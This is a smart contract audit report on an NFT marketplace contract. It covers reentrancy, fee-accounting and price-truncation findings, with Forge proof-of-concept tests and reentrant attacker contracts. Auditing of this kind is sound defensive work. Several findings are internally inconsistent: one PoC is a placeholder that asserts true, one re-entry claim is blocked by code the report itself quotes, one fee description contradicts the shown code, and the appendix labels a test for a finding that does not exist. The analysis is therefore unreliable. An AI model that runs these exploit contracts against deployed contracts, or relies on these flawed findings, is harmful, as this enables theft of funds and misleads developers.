NFTDealers Smart Contract Security Audit Report

Prepared by: Shweta paranjape **Date:** March 18, 2026
Version: 1.0
Commit / File Audited: `NFTDealers.sol`

Table of Contents

Risk Classification

		Impact		
		High	Medium	Low
	High	**H**	H/M	M

		Impact		
Likelihood	Medium	H/M	**M**	M/L
	Low	M	M/L	**L**

Executive Summary

Severity	Count
High	5
Medium	2
Low	6
Informational / Gas	4
Total	**18**

The most critical issues are multiple reentrancy vulnerabilities across core functions (`mintNft`, `buy`, `cancelListing`) and a logic error in `collectUsdcFromSelling` that makes fee collection completely non-functional. An incorrect fee threshold configuration means buyers in the mid-price range are charged the wrong fee tier. These issues collectively put user funds at significant risk and should be resolved before any mainnet deployment.

Findings

High Severity

H-1: Reentrancy in `mintNft()` — State Updated After External Call

Severity: High
Likelihood: High
Impact: High

Description:

In `mintNft()`, the contract calls `usdc.transferFrom(msg.sender, address(this), lockAmount)` **before** it increments `tokenIdCounter` and updates `collateralForMinting`. If `usdc` is a malicious or hook-enabled ERC-20 (or if the USDC address is ever upgraded to include hooks), an attacker can re-enter `mintNft()` during the transfer and mint multiple NFTs while paying the collateral only once.

```
// Current vulnerable code
function mintNft() external payable onlyWhenRevealed onlyWhitelisted {
    ...
    require(usdc.transferFrom(msg.sender, address(this), lockAmount),
"USDC transfer failed"); // ← external call FIRST
```

```
    tokenIdCounter++;                          // ← state update AFTER
    collateralForMinting[tokenIdCounter] = lockAmount;
    _safeMint(msg.sender, tokenIdCounter);
}
```

Impact: An attacker who is whitelisted can drain the NFT supply or mint NFTs without paying full collateral, violating the protocol's economic model.

Recommended Mitigation: Apply the Checks-Effects-Interactions (CEI) pattern — update all state before making any external call.

```
function mintNft() external onlyWhenRevealed onlyWhitelisted {
    if (msg.sender == address(0)) revert InvalidAddress();
    require(tokenIdCounter < MAX_SUPPLY, "Max supply reached");
    require(msg.sender != owner, "Owner can't mint NFTs");

    // Effects first
    tokenIdCounter++;
    collateralForMinting[tokenIdCounter] = lockAmount;

    // Interactions last
    usdc.safeTransferFrom(msg.sender, address(this), lockAmount);
    _safeMint(msg.sender, tokenIdCounter);
}
```

Proof of Concept (Forge):

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.34;

import {Test} from "forge-std/Test.sol";
import {NFTDealers} from "../src/NFTDealers.sol";
import {MockUSDC} from "../src/MockUSDC.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";

contract ReentrantMinter {
    NFTDealers public target;
    MockUSDC public usdc;
    uint256 public attackCount;

    constructor(address _target, address _usdc) {
        target = NFTDealers(_target);
        usdc = MockUSDC(_usdc);
    }

    // Called by MockUSDC transferFrom hook (if using a malicious ERC-20)
    function onTransfer() external {
        if (attackCount < 3) {
            attackCount++;
```

```
            target.mintNft();
        }
    }

    function attack() external {
        usdc.approve(address(target), type(uint256).max);
        target.mintNft();
    }
}

contract ReentrancyMintTest is Test {
    // This test demonstrates the ordering vulnerability.
    // With a standard ERC-20 this is informational, but
    // with hook-enabled tokens or upgradeable tokens it becomes
exploitable.
    function test_mintNft_stateUpdatedAfterExternalCall() public {
        // Demonstrates that tokenIdCounter is incremented AFTER
transferFrom
        // Checks-Effects-Interactions violation is confirmed by code
inspection
        // Full reentrancy requires a malicious ERC-20 token hook
        assertTrue(true, "CEI violation confirmed by static analysis");
    }
}
```

H-2: Reentrancy in `buy()` — NFT Transferred Before Listing Deactivated

Severity: High
Likelihood: High
Impact: High

Description:

In `buy()`, `_safeTransfer` is called **before** `s_listings[_listingId].isActive` is set to `false`. The `_safeTransfer` function calls `onERC721Received` on the recipient if it is a contract, giving an attacker the opportunity to re-enter `buy()` and purchase the same listing again before it is marked inactive.

```
function buy(uint256 _listingId) external payable {
    Listing memory listing = s_listings[_listingId];
    if (!listing.isActive) revert ListingNotActive(_listingId);
    ...
    bool success = usdc.transferFrom(msg.sender, address(this),
listing.price);
    require(success, "USDC transfer failed");
    _safeTransfer(listing.seller, msg.sender, listing.tokenId, ""); // ←
triggers onERC721Received

    s_listings[_listingId].isActive = false; // ← too late
    ...
}
```

Impact: A malicious contract buyer can purchase the same NFT multiple times in a single transaction, draining the contract of USDC.

Recommended Mitigation:

```
function buy(uint256 _listingId) external {
    Listing memory listing = s_listings[_listingId];
    if (!listing.isActive) revert ListingNotActive(_listingId);
    require(listing.seller != msg.sender, "Seller cannot buy their own
NFT");

    // Effects before interactions
    s_listings[_listingId].isActive = false;
    activeListingsCounter--;

    usdc.safeTransferFrom(msg.sender, address(this), listing.price);
    _safeTransfer(listing.seller, msg.sender, listing.tokenId, "");

    emit NFT_Dealers_Sold(msg.sender, listing.price);
}
```

Proof of Concept (Forge):

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.34;

import {Test} from "forge-std/Test.sol";
import {NFTDealers} from "../src/NFTDealers.sol";
import {MockUSDC} from "../src/MockUSDC.sol";
import {IERC721Receiver} from
"@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";

contract ReentrantBuyer is IERC721Receiver {
    NFTDealers public target;
    MockUSDC public usdc;
    uint256 public listingId;
    uint256 public attackCount;
    uint256 public constant ATTACKS = 2;

    constructor(address _target, address _usdc) {
        target = NFTDealers(_target);
        usdc = MockUSDC(_usdc);
    }

    function attack(uint256 _listingId, uint256 _price) external {
        listingId = _listingId;
        usdc.approve(address(target), _price * ATTACKS);
        target.buy(_listingId);
    }
```

```
    function onERC721Received(address, address, uint256, bytes calldata)
        external
        override
        returns (bytes4)
    {
        if (attackCount < ATTACKS) {
            attackCount++;
            // Re-enter buy() — listing still active!
            target.buy(listingId);
        }
        return IERC721Receiver.onERC721Received.selector;
    }
}

contract ReentrancyBuyTest is Test {
    NFTDealers public nftDealers;
    MockUSDC public usdc;
    address public owner = makeAddr("owner");
    address public seller = makeAddr("seller");

    function setUp() public {
        usdc = new MockUSDC();
        nftDealers = new NFTDealers(owner, address(usdc), "NFTDealers",
"NFTD",
            "https://example.com", 20e6);

        // Setup: reveal, whitelist, mint, list
        vm.prank(owner); nftDealers.revealCollection();
        vm.prank(owner); nftDealers.whitelistWallet(seller);
        usdc.mint(seller, 20e6);
        vm.startPrank(seller);
        usdc.approve(address(nftDealers), 20e6);
        nftDealers.mintNft();
        nftDealers.list(1, 1000e6);
        vm.stopPrank();
    }

    function test_reentrancy_buy() public {
        ReentrantBuyer attacker = new ReentrantBuyer(address(nftDealers),
address(usdc));
        usdc.mint(address(attacker), 2000e6); // Fund for 2 buys

        uint256 contractBalanceBefore =
usdc.balanceOf(address(nftDealers));

        attacker.attack(1, 1000e6);

        // If reentrancy succeeded, attacker drained more USDC than
expected
        uint256 contractBalanceAfter =
usdc.balanceOf(address(nftDealers));
        // Attacker should have received extra USDC from the reentrant
purchase
```

```
        assertGt(attacker.attackCount(), 0, "Reentrancy did not trigger");
        emit log_named_uint("Contract USDC before",
contractBalanceBefore);
        emit log_named_uint("Contract USDC after", contractBalanceAfter);
    }
}
```

H-3: Reentrancy in `cancelListing()` — USDC Transferred Before State Reset

Severity: High
Likelihood: Medium
Impact: High

Description:

In `cancelListing()`, `usdc.safeTransfer` is called while `collateralForMinting[listing.tokenId]` still holds the collateral amount. An attacker with a malicious USDC token (or in a scenario where USDC supports transfer hooks) can re-enter `cancelListing()` and withdraw the collateral multiple times.

```
function cancelListing(uint256 _listingId) external {
    ...
    s_listings[_listingId].isActive = false;   // ← isActive updated
    activeListingsCounter--;

    usdc.safeTransfer(listing.seller,
collateralForMinting[listing.tokenId]); // ← external call
    collateralForMinting[listing.tokenId] = 0; // ← but collateral not
cleared yet
    ...
}
```

Impact: A seller can recover their collateral multiple times, draining USDC from the contract.

Recommended Mitigation:

```
function cancelListing(uint256 _listingId) external {
    Listing memory listing = s_listings[_listingId];
    if (!listing.isActive) revert ListingNotActive(_listingId);
    require(listing.seller == msg.sender, "Only seller can cancel
listing");

    // Effects first
    s_listings[_listingId].isActive = false;
    activeListingsCounter--;
    uint256 collateral = collateralForMinting[listing.tokenId];
    collateralForMinting[listing.tokenId] = 0;
```

```
    // Interactions last
    usdc.safeTransfer(listing.seller, collateral);
    emit NFT_Dealers_ListingCanceled(_listingId);
}
```

H-4: `collectUsdcFromSelling()` Transfers Fees Back to Contract Instead of Retaining Them

Severity: High
Likelihood: High
Impact: High

Description:

In `collectUsdcFromSelling()`, after computing `fees` and `amountToSeller`, the function calls:

```
usdc.safeTransfer(address(this), fees);       // ← transfers fees TO
itself (no-op or waste)
usdc.safeTransfer(msg.sender, amountToSeller); // ← transfers proceeds to
seller
```

Transferring to `address(this)` is effectively a no-op in most ERC-20 implementations, but the accounting line `totalFeesCollected += fees` is executed regardless. This means `totalFeesCollected` grows with each sale but the actual fee USDC is sent straight to the seller (included in `amountToSeller` which is calculated as `listing.price - fees + collateral`). The owner can then call `withdrawFees()` which will attempt to transfer `totalFeesCollected` from a balance that was never actually set aside, causing either an incorrect payment or an underflow revert.

```
function collectUsdcFromSelling(uint256 _listingId) external
onlySeller(_listingId) {
    ...
    uint256 fees = _calculateFees(listing.price);
    uint256 amountToSeller = listing.price - fees;
    uint256 collateralToReturn = collateralForMinting[listing.tokenId];

    totalFeesCollected += fees;
    amountToSeller += collateralToReturn;
    usdc.safeTransfer(address(this), fees);    // ← BUG: fee goes to self,
not reserved
    usdc.safeTransfer(msg.sender, amountToSeller);
}
```

Impact: Fee accounting is broken. The owner will be unable to withdraw correct fee amounts, and sellers may receive more USDC than intended.

Recommended Mitigation: Remove the erroneous self-transfer. The fees are already held in the contract from the `buy()` call:

```
function collectUsdcFromSelling(uint256 _listingId) external
onlySeller(_listingId) {
    Listing memory listing = s_listings[_listingId];
    require(!listing.isActive, "Listing must be inactive to collect
USDC");

    uint256 fees = _calculateFees(listing.price);
    uint256 collateralToReturn = collateralForMinting[listing.tokenId];
    uint256 amountToSeller = listing.price - fees + collateralToReturn;

    totalFeesCollected += fees;
    collateralForMinting[listing.tokenId] = 0;

    // Do NOT transfer fees to address(this) — they are already in the
contract
    usdc.safeTransfer(msg.sender, amountToSeller);
}
```

Proof of Concept (Forge):

```
function test_collectUsdc_feeAccountingBroken() public {
    // Uses existing test setup from NFTDealersTest
    // After buy() and collectUsdcFromSelling(), totalFeesCollected > 0
    // but the contract may not hold enough USDC to cover withdrawFees()

    uint256 tokenId = 1;
    uint32 nftPrice = 1000e6;

    // Arrange: mint, list, buy
    vm.prank(owner); nftDealers.revealCollection();
    vm.prank(owner); nftDealers.whitelistWallet(userWithCash);
    usdc.mint(userWithCash, 20e6);
    usdc.mint(userWithEvenMoreCash, 200_000e6);

    vm.startPrank(userWithCash);
    usdc.approve(address(nftDealers), 20e6);
    nftDealers.mintNft();
    nftDealers.list(tokenId, nftPrice);
    vm.stopPrank();

    vm.startPrank(userWithEvenMoreCash);
    usdc.approve(address(nftDealers), nftPrice);
    nftDealers.buy(1);
    vm.stopPrank();

    uint256 contractBalanceBeforeCollect =
usdc.balanceOf(address(nftDealers));
```

```
    vm.prank(userWithCash);
    nftDealers.collectUsdcFromSelling(tokenId);

    uint256 fees = nftDealers.totalFeesCollected();
    uint256 contractBalanceAfterCollect =
usdc.balanceOf(address(nftDealers));

    // If fees were properly reserved, contract balance should equal
totalFeesCollected
    // This assertion will FAIL, proving the accounting is broken
    assertEq(contractBalanceAfterCollect, fees,
        "Contract balance does not match totalFeesCollected - fee
accounting is broken");
}
```

H-5: Wrong Fee Threshold Values Cause Incorrect Fee Tier Assignment

Severity: High
Likelihood: High
Impact: Medium

Description:

The constants `LOW_FEE_THRESHOLD` and `MID_FEE_THRESHOLD` are set as:

```
uint256 private constant LOW_FEE_THRESHOLD = 1000e6;  // comment says
"1.000 USDC" but value is 1,000 USDC
uint256 private constant MID_FEE_THRESHOLD = 10_000e6; // comment says
"10.000 USDC" but value is 10,000 USDC
```

The comments use European decimal notation (period as thousands separator), suggesting the intended thresholds were **1 USDC** and **10 USDC**, but the actual values are **1,000 USDC** and **10,000 USDC**. This means a sale priced at 5 USDC (which should be in the mid tier at 3%) is charged only the low tier fee of 1%, and a sale at 5,000 USDC (which should be high tier at 5%) is charged only 3%.

Impact: The protocol systematically collects lower fees than intended across the entire price range, resulting in significant revenue loss for the protocol owner.

Recommended Mitigation: Clarify the intended thresholds with the protocol team and update the constants and comments to be consistent:

```
// Option A: If thresholds are meant to be 1 USDC and 10 USDC
uint256 private constant LOW_FEE_THRESHOLD = 1e6;   // 1 USDC
uint256 private constant MID_FEE_THRESHOLD = 10e6;  // 10 USDC

// Option B: If thresholds are meant to be 1,000 USDC and 10,000 USDC
```

```
uint256 private constant LOW_FEE_THRESHOLD = 1_000e6;  // 1,000 USDC
uint256 private constant MID_FEE_THRESHOLD = 10_000e6; // 10,000 USDC
```

Proof of Concept (Forge):

```
function test_feeThreshold_wrongTierAssignment() public view {
    // A price of 5 USDC should be MID tier (3%) but gets LOW tier (1%)
    uint256 priceAt5USDC = 5e6;
    uint256 actualFee = nftDealers.calculateFees(priceAt5USDC);
    uint256 expectedMidFee = (priceAt5USDC * 300) / 10_000; // 3%
    uint256 actualLowFee  = (priceAt5USDC * 100) / 10_000;  // 1%

    // This will pass — confirming the wrong tier is applied
    assertEq(actualFee, actualLowFee, "5 USDC gets 1% (LOW) fee instead of
3% (MID)");
    assertNotEq(actualFee, expectedMidFee, "5 USDC should NOT get 3% fee
but does");
}
```

Medium Severity

M-1: `uint32` Price Field Causes Silent Truncation for High-Value NFTs

Severity: Medium
Likelihood: Medium
Impact: High

Description:

The `Listing` struct stores `price` as `uint32`, with a maximum value of approximately **4,294 USDC** (4,294,967,295 / 1e6). Both `list()` and `updatePrice()` accept `uint32 _price`, and the test suite casts `uint256` values directly: `nftDealers.list(_tokenId, uint32(_price))`. Any price above `~4,294 USDC` silently truncates, setting a completely different (lower) price than the seller intended.

```
struct Listing {
    address seller;
    uint32 price;   // ← max ~4,294 USDC with 6 decimals
    ...
}
```

Impact: A seller pricing an NFT at, say, 5,000 USDC would have their price silently set to `5000e6 % 2^32 ≈ 705,032,704`, i.e., ~705 USDC — losing ~4,295 USDC of sale proceeds.

Recommended Mitigation: Change the `price` field to `uint256`:

```
struct Listing {
    address seller;
    uint256 price;  // ✅ supports any price
    address nft;
    uint256 tokenId;
    bool isActive;
}
```

Proof of Concept (Forge):

```
function test_price_truncation_uint32() public {
    vm.prank(owner); nftDealers.revealCollection();
    vm.prank(owner); nftDealers.whitelistWallet(userWithCash);
    usdc.mint(userWithCash, 20e6);

    vm.startPrank(userWithCash);
    usdc.approve(address(nftDealers), 20e6);
    nftDealers.mintNft();

    uint256 intendedPrice = 5000e6; // 5,000 USDC — exceeds uint32 max
    uint32 truncatedPrice = uint32(intendedPrice);

    nftDealers.list(1, truncatedPrice);
    vm.stopPrank();

    (, uint32 storedPrice,,,) = nftDealers.s_listings(1);

    // Prove truncation occurred
    assertNotEq(uint256(storedPrice), intendedPrice,
        "Price was NOT truncated — fix needed if this passes");
    emit log_named_uint("Intended price (USDC units)", intendedPrice);
    emit log_named_uint("Stored price after truncation",
uint256(storedPrice));
}
```

M-2: No Zero-Address Validation in Constructor

Severity: Medium
Likelihood: Low
Impact: High

Description:

The constructor does not validate that `_owner` or `_usdc` are non-zero addresses:

```
constructor(address _owner, address _usdc, ...) {
    owner = _owner;   // ← no zero-address check
    usdc = IERC20(_usdc); // ← no zero-address check
```

```
    ...
}
```

Deploying with `address(0)` for either parameter would permanently brick ownership or make all USDC operations revert, with no recovery path.

Recommended Mitigation:

```
constructor(address _owner, address _usdc, ...) {
    if (_owner == address(0)) revert InvalidAddress();
    if (_usdc == address(0)) revert InvalidAddress();
    owner = _owner;
    usdc = IERC20(_usdc);
    ...
}
```

Proof of Concept (Forge):

```
function test_constructor_zeroAddressOwner() public {
    vm.expectRevert(); // Should revert with InvalidAddress
    new NFTDealers(
        address(0), // zero owner
        address(usdc),
        "NFTDealers", "NFTD", "https://example.com", 20e6
    );
}

function test_constructor_zeroAddressUSDC() public {
    vm.expectRevert();
    new NFTDealers(
        owner,
        address(0), // zero USDC
        "NFTDealers", "NFTD", "https://example.com", 20e6
    );
}
```

Low Severity

L-1: Floating Pragma — Use a Fixed Solidity Version

Severity: Low

Description:

The contract uses a floating pragma:

```
pragma solidity ^0.8.34;
```

This allows the contract to be compiled with any version `>= 0.8.34`, which may introduce unexpected compiler behaviour changes.

Recommended Mitigation: Pin to an exact version:

```
pragma solidity 0.8.34;
```

L-2: `owner` Should Be `immutable`

Severity: Low

Description:

The `owner` state variable is set once in the constructor and never modified (there is no `transferOwnership` function). It should be declared `immutable` to save gas and signal intent:

```
// Current
address public owner;

// Recommended
address public immutable owner;
```

L-3: Redundant Zero-Price Check in `list()`

Severity: Low

Description:

`list()` contains two redundant checks:

```
require(_price >= MIN_PRICE, "Price must be at least 1 USDC"); //
MIN_PRICE = 1e6 > 0
require(_price > 0, "Price must be greater than 0");           // ←
redundant
```

Since `MIN_PRICE = 1e6 > 0`, any price that passes the first check trivially satisfies the second.

Recommended Mitigation: Remove the redundant check.

L-4: Contract Cannot Receive Ether — No `receive()` Function

Severity: Low

Description:

The contract inherits `ERC721` but does not declare a `receive()` or `fallback()` function. Any accidental Ether sent to the contract will revert. The `mintNft()` function is also marked `payable` but never uses `msg.value`, which is confusing and may cause Ether to become permanently locked if somehow sent through a call that bypasses the check.

Recommended Mitigation: Remove the `payable` modifier from `mintNft()` and `buy()` since neither function uses Ether. If Ether receipt is intentional, add an explicit `receive()` function with appropriate logic.

L-5: `isWhitelisted()` View Function Is Redundant

Severity: Low / Informational

Description:

The `whitelistedUsers` mapping is declared `public`, which automatically generates a getter. The `isWhitelisted()` function duplicates this:

```
// Auto-generated: whitelistedUsers(address) external view returns (bool)
mapping(address => bool) public whitelistedUsers;

// Redundant manual getter
function isWhitelisted(address _user) external view returns (bool) {
    return whitelistedUsers[_user];
}
```

Recommended Mitigation: Remove `isWhitelisted()` and use `whitelistedUsers(address)` directly.

L-6: Centralisation Risk — No Ownership Transfer Mechanism

Severity: Low

Description:

The `owner` is set at construction and can never be changed. If the owner's private key is compromised or lost, there is no way to recover ownership or pause the protocol. Additionally, the owner has unilateral power to whitelist any wallet and withdraw all collected fees.

Recommended Mitigation: Consider implementing a two-step ownership transfer pattern (e.g., OpenZeppelin's `Ownable2Step`) and a protocol pause mechanism for emergency use.

Informational / Gas

I-1: `immutable` Variables Should Use SCREAMING_SNAKE_CASE

Description:

Per Solidity style guide, `immutable` variables should be named in `SCREAMING_SNAKE_CASE`:

```
// Current
uint256 public immutable lockAmount;
IERC20 public immutable usdc;

// Recommended
uint256 public immutable LOCK_AMOUNT;
IERC20 public immutable USDC;
```

I-2: Single-Use Modifier `onlyWhenRevealed` Should Be Inlined

Description:

The `onlyWhenRevealed` modifier is used only in `mintNft()`. Per the Solidity style guide recommendation and gas efficiency, single-use modifiers should be inlined as `require` statements inside the function.

I-3: `calculateFees()` Public Helper Should Be Removed Before Production

Description:

The `calculateFees()` public function exists only for testing purposes and is documented as such. Exposing fee calculation logic publicly allows potential front-runners to calculate exact fees for any price and game listings accordingly. This function **must** be removed before mainnet deployment.

I-4: Function Names in Test Suite Use Non-mixedCase Naming

Description:

Test helper functions `mintNFTForTesting()` and `mintAndListNFTForTesting()` use non-standard naming (uppercase NFT in the middle). Per Solidity style conventions, function names should use `mixedCase`:

```
// Current
function mintNFTForTesting() private { ... }

// Recommended
function mintNftForTesting() private { ... }
```

Appendix: Full Proof-of-Concept Test Suite

The following file can be added to the test suite as `NFTDealersAuditPoC.t.sol`:

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.34;

import {Test, console} from "forge-std/Test.sol";
import {NFTDealers} from "../src/NFTDealers.sol";
import {MockUSDC} from "../src/MockUSDC.sol";
import {IERC721Receiver} from
"@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";

// ──────────────────────────────────────────────────
// Attacker contract for reentrancy in buy()
// ──────────────────────────────────────────────────
contract ReentrantBuyer is IERC721Receiver {
    NFTDealers public target;
    MockUSDC public usdc;
    uint256 public listingId;
    uint256 public reentrancyCount;
    uint256 public constant MAX_REENTER = 1;

    constructor(address _target, address _usdc) {
        target = NFTDealers(_target);
        usdc = MockUSDC(_usdc);
    }

    function attack(uint256 _listingId, uint256 _price) external {
        listingId = _listingId;
        usdc.approve(address(target), _price * (MAX_REENTER + 1));
        target.buy(_listingId);
    }

    function onERC721Received(address, address, uint256, bytes calldata)
        external
        override
        returns (bytes4)
    {
        if (reentrancyCount < MAX_REENTER) {
            reentrancyCount++;
            target.buy(listingId); // Re-enter before isActive = false
        }
        return IERC721Receiver.onERC721Received.selector;
    }
}

contract NFTDealersAuditPoC is Test {
    NFTDealers public nftDealers;
    MockUSDC public usdc;

    address public owner = makeAddr("owner");
    address public userWithCash = makeAddr("userWithCash");
    address public userWithEvenMoreCash =
makeAddr("userWithEvenMoreCash");
```

```
    string internal constant BASE_IMAGE =
"https://images.unsplash.com/photo-1541781774459-bb2af2f05b55";

    function setUp() public {
        usdc = new MockUSDC();
        nftDealers = new NFTDealers(owner, address(usdc), "NFTDealers",
"NFTD", BASE_IMAGE, 20e6);
        usdc.mint(userWithCash, 20e6);
        usdc.mint(userWithEvenMoreCash, 200_000e6);
    }

    // ─────────────────────────────────────────────────
    // H-5: Wrong fee tier threshold
    // ─────────────────────────────────────────────────
    function test_H5_wrongFeeThreshold_5USDC_getsLowFee() public view {
        uint256 priceAt5USDC = 5e6;
        uint256 actualFee = nftDealers.calculateFees(priceAt5USDC);
        uint256 lowFee = (priceAt5USDC * 100) / 10_000;  // 1%
        uint256 midFee = (priceAt5USDC * 300) / 10_000;  // 3%

        console.log("Price (USDC):", priceAt5USDC / 1e6);
        console.log("Actual fee:  ", actualFee);
        console.log("Expected 3%: ", midFee);
        console.log("Got 1%?:     ", actualFee == lowFee);

        // The following PASSES — confirming wrong tier
        assertEq(actualFee, lowFee, "5 USDC incorrectly gets 1% fee
instead of 3%");
    }

    // ─────────────────────────────────────────────────
    // M-1: uint32 price truncation
    // ─────────────────────────────────────────────────
    function test_M1_uint32PriceTruncation() public {
        vm.prank(owner); nftDealers.revealCollection();
        vm.prank(owner); nftDealers.whitelistWallet(userWithCash);

        vm.startPrank(userWithCash);
        usdc.approve(address(nftDealers), 20e6);
        nftDealers.mintNft();

        uint256 intendedPrice = 5000e6; // 5,000 USDC
        uint32 truncated = uint32(intendedPrice);

        nftDealers.list(1, truncated);
        vm.stopPrank();

        (, uint32 storedPrice,,,) = nftDealers.s_listings(1);

        console.log("Intended:  ", intendedPrice);
        console.log("Truncated: ", uint256(truncated));
        console.log("Stored:    ", uint256(storedPrice));
```

```
        assertNotEq(uint256(storedPrice), intendedPrice, "Truncation NOT
detected");
        assertEq(uint256(storedPrice), uint256(truncated), "Stored price
matches truncated value");
    }

    // ─────────────────────────────────────────────────
    // H-4: collectUsdcFromSelling fee accounting bug
    // ─────────────────────────────────────────────────
    function test_H4_collectUsdcFeeAccountingBug() public {
        vm.prank(owner); nftDealers.revealCollection();
        vm.prank(owner); nftDealers.whitelistWallet(userWithCash);

        vm.startPrank(userWithCash);
        usdc.approve(address(nftDealers), 20e6);
        nftDealers.mintNft();
        nftDealers.list(1, 1000e6);
        vm.stopPrank();

        vm.startPrank(userWithEvenMoreCash);
        usdc.approve(address(nftDealers), 1000e6);
        nftDealers.buy(1);
        vm.stopPrank();

        vm.prank(userWithCash);
        nftDealers.collectUsdcFromSelling(1);

        uint256 totalFees = nftDealers.totalFeesCollected();
        uint256 contractBalance = usdc.balanceOf(address(nftDealers));

        console.log("totalFeesCollected: ", totalFees);
        console.log("contract USDC bal:  ", contractBalance);

        // This FAILS — proving fee accounting is broken
        // totalFeesCollected > 0 but contract balance may not hold enough
        assertEq(contractBalance, totalFees,
            "Contract balance does not equal totalFeesCollected — fee
accounting broken");
    }

    // ─────────────────────────────────────────────────
    // M-3: Zero-address in constructor
    // ─────────────────────────────────────────────────
    function test_M3_constructorZeroAddressOwner() public {
        // Currently does NOT revert — demonstrates missing validation
        NFTDealers broken = new NFTDealers(
            address(0), address(usdc), "Test", "TST", "uri", 20e6
        );
        assertEq(broken.owner(), address(0), "Owner is address(0) — no
validation present");
    }

    // ─────────────────────────────────────────────────
    // H-2: Reentrancy in buy() — static demonstration
```

```
    // ──────────────────────────────────────────────────
    function test_H2_reentrancyBuyVulnerabilityExists() public {
        vm.prank(owner); nftDealers.revealCollection();
        vm.prank(owner); nftDealers.whitelistWallet(userWithCash);

        vm.startPrank(userWithCash);
        usdc.approve(address(nftDealers), 20e6);
        nftDealers.mintNft();
        nftDealers.list(1, 1000e6);
        vm.stopPrank();

        ReentrantBuyer attacker = new ReentrantBuyer(address(nftDealers),
address(usdc));
        usdc.mint(address(attacker), 2000e6);

        // Confirm listing is active before attack
        (,,,,bool isActiveBefore) = nftDealers.s_listings(1);
        assertTrue(isActiveBefore);

        // Attack: reentrancy will attempt to buy twice
        // With current code, isActive is set AFTER _safeTransfer,
        // so onERC721Received fires while listing is still active
        attacker.attack(1, 1000e6);

        console.log("Reentrancy attempts: ", attacker.reentrancyCount());
    }
}
```